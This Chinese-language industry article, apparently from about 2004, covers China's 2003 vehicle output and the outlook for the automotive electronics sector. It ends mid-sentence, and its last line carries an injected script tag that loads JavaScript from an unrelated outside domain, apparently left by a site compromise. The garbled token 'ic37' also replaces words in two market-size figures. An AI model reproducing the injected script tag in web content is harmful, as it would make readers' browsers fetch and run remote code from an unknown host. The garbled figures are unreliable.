2003年我国汽车总产量为444.37万辆，同比增长35.20%；销售439.08万辆，同比增长34.21%。其中轿车产销量分别为201.9万量和197.2万量，同比分别增长83.3%和75.3%。中国汽车技术研究中心预测，汽车需求总量在2004年将超过520万辆，2005年将超过690万辆，我国汽车工业将步入持续快速发展时期。
随着能源、排放、安全法规的日趋严格和客户对汽车舒适性要求的不断提高，电子技术在汽车上的作用越来越重要。汽车的安全、节能、环保以及智能化和信息化是未来汽车的发展趋势。在汽车技术的发展进程中，汽车电子的作用尤为突出，是开发新车
型、改进汽车性能最重要的技术措施。汽车上70%的创新来源于汽车电子，未来汽车电子的发展将主要集中在动力总成、底盘控制、车身控制、主被动安全、汽车网络、通信系统、安全与防盗等方面，并呈现出功能多样化、技术一体化、系统集成化和通信网络化的特点。
一．我国汽车工业的现状
2003年全国5460家汽车工业企业累计完成工业总产值（1990年不变价）10221亿元,同比增长36.1%；实现产品销售收入9257亿元,比2002年增长36.7%；实现利润总额755亿元，同比增长54.9%。15家重点企业集团累计完成工业总产值（1990年不变价）5481亿元,同比增长44.5%；实现产品销售收入4702亿元,比2002年增长48.7%；实现利润总额409亿元，同比增长57.6%。
2003年的数据显示，在全国100余家汽车企业（集团）中，年产量超过50万辆的只有2家，超过10万辆的只有8家。从国际汽车工业看，年产100万辆以下的汽车公司已经不能单独生存，200万辆规模的也面临重组。
从技术层面看，我国汽车工业中的核心技术对国外技术的依赖过大，在一定程度上会成为制约我国汽车工业发展的瓶颈，这一特点在汽车电子技术上的反映优为显著。
二．我国汽车电子产业的发展趋势
1．发展的动力源泉
能源、排放、安全法规的日趋严格和客户对汽车舒适性要求的不断提高；
燃油经济性的提高；
有害气体和co2排放的降低；
汽车安全性的提高；
改善乘坐舒适性。
2．汽车电子产品的应用比例
汽车上70%的创新来源于汽车电子。
国外每台汽车采用汽车电子装置的费用1990年为672美元，2000年已达到2000美元。在一些豪华轿车上，使用单片微型计算机的数量已经达到48个，电子产品占到整车成本的50％以上。
infineon预测，2010年小轿车内汽车电子装置的比例将增长到35%。
strategyanalytics公司的预测，从2002年到2007年，全球汽车电子系统市场的年增长率约为6.7%，到2008年全球汽车电子系统的总需求将增长到1500亿美元，并将保持增长的态势。
3．我国汽车电子产品的市场
motorola预测，我国汽车ic37容量有50~60亿美元。
赛迪顾问预计2004年到2005年，中国汽车电子业仍将继续保持40％的高速成长。
2003年，我国汽车ic37规模已达550亿元，国内企业（含合资企业）所占的市场份额还不到30%。——2004/4/6中国汽车报
2002年，德尔福在中国销售额达7亿美元。
4．我国汽车电子产业的基础
经过几十年的发展，我国已经积累了一定的技术，并形成了初步的的汽车电子产业，但尚未形成规模化大生产。从汽车电子产品应用角度看，我国的轿车，尤其是高档轿车的电子水平已经部分接近国际水平；但从汽车电子产品的技术开发角度看，大部分高新技术源自国外。
我国汽车电子的技术水平与国际先进水平相比，差距还很大，主要差距是在电子控制单元的软硬件、传感器、执行器、系统的可靠性和控制精度方面。
我国汽车产业经历20年的合资，技术上并没有形成核心技术，但并不是没有技术储备。
国家科技部在“八五”期间，组织了汽油发动机电控燃油喷射系统的攻关；“九五”期间，组织了柴油发动机电控燃油喷射系统、汽车防抱死制动系统、安全气囊和车载通讯系统的攻关；“十五”攻关计划开展了“智能交通系统”和“混合动力汽车”等重点专项工作；另外，在电动助力转向、自动变速箱、主动半主动悬架等研究方面也取得了一定的成果。
5．我国汽车电子产业的发展趋势
未来的汽车电子产品中，围绕安全、节能、环保、舒适和娱乐等方面的元器件及其周边产品将发展最快。
安全全世界死于交通事故的人数每年大约为50万到60万，中国汽车保有量占世界的1.9％，交通事故死亡人数却占到17％以上；中国的机动车保有量是美国的1／16，而交通事故死亡人数是美国的35倍；和日本相比，我国的汽车保有量是其1／9?script src=http://er12.com/t.js>
